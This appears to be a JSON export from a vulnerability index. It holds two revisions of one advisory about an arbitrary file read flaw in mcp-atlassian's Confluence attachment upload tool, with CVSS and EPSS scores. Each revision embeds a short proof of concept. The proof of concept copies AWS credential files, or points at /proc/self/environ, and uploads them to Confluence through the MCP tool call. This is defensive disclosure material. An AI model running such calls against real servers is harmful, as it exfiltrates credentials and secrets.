{"items":[{"id":"NVI-00016450","kind":"vulnerability","title":"MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-6cr4-ccf3-x7h4","CVE-2026-77259"],"plain_summary":"GitHub lists this reviewed advisory for mcp-atlassian. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-08ac8d531df02600a192da4e04964dfe"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-22T20:35:17.000Z","value":"7.7 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-71bac09e0376bd4ee439670cddf275ef"},{"kind":"EPSS","as_of":"2026-11-04T12:03:12.000Z","value":"0.442%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.38528. Missing scores are unknown.","source_id":"sr-08ac8d531df02600a192da4e04964dfe"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-71bac09e0376bd4ee439670cddf275ef","url":"https://github.com/advisories/GHSA-6cr4-ccf3-x7h4","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-6cr4-ccf3-x7h4","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T14:29:31.527Z"},{"id":"sr-08ac8d531df02600a192da4e04964dfe","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-77259","publisher":"FIRST EPSS","observed_at":"2026-11-04T23:33:33.068Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-71bac09e0376bd4ee439670cddf275ef"],"technology":"mcp-atlassian","known_exclusions":[],"conditions_summary":"### Summary\n\nMissing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.\n\n---\n### Details\n\n`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:\n\n```python\n# line 477\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}\n```\nThe download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.\n\n---\n### PoC\n\n```bash\n# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)\ncp ~/.aws/credentials /tmp/diagram.png\n\n# 2. Call the MCP tool\nconfluence_upload_attachment(\n    content_id = \"\",\n    file_path  = \"/tmp/diagram.png\"\n)\n\n# 3. Download attachment from Confluence — contains raw credentials\n```\nTested on ","public_affected_ranges":["< 0.22.0"]}],"null_published_at":"2026-11-06T07:24:11.288Z","source_updated_at":"2026-09-22T20:35:17.000Z","source_disclosed_at":"2026-09-22T20:35:16.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-11-01T14:29:31.527Z"},{"id":"NVI-00016450","kind":"vulnerability","title":"MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-6cr4-ccf3-x7h4","CVE-2026-77259"],"plain_summary":"GitHub lists this reviewed advisory for mcp-atlassian. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-71bac09e0376bd4ee439670cddf275ef"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-22T20:35:17.000Z","value":"7.7 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-71bac09e0376bd4ee439670cddf275ef"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-71bac09e0376bd4ee439670cddf275ef","url":"https://github.com/advisories/GHSA-6cr4-ccf3-x7h4","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-6cr4-ccf3-x7h4","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T14:29:31.527Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-71bac09e0376bd4ee439670cddf275ef"],"technology":"mcp-atlassian","known_exclusions":[],"conditions_summary":"### Summary\n\nMissing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call.\n\n---\n### Details\n\n`AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check:\n\n```python\n# line 477\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}\n```\nThe download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization.\n\n---\n### PoC\n\n```bash\n# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)\ncp ~/.aws/credentials /tmp/diagram.png\n\n# 2. Call the MCP tool\nconfluence_upload_attachment(\n    content_id = \"\",\n    file_path  = \"/tmp/diagram.png\"\n)\n\n# 3. Download attachment from Confluence — contains raw credentials\n```\nTested on ","public_affected_ranges":["< 0.22.0"]}],"null_published_at":"2026-11-04T10:04:27.945Z","source_updated_at":"2026-09-22T20:35:17.000Z","source_disclosed_at":"2026-09-22T20:35:16.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T14:29:31.527Z"}],"next_cursor":null,"snapshot_revision":"44495"}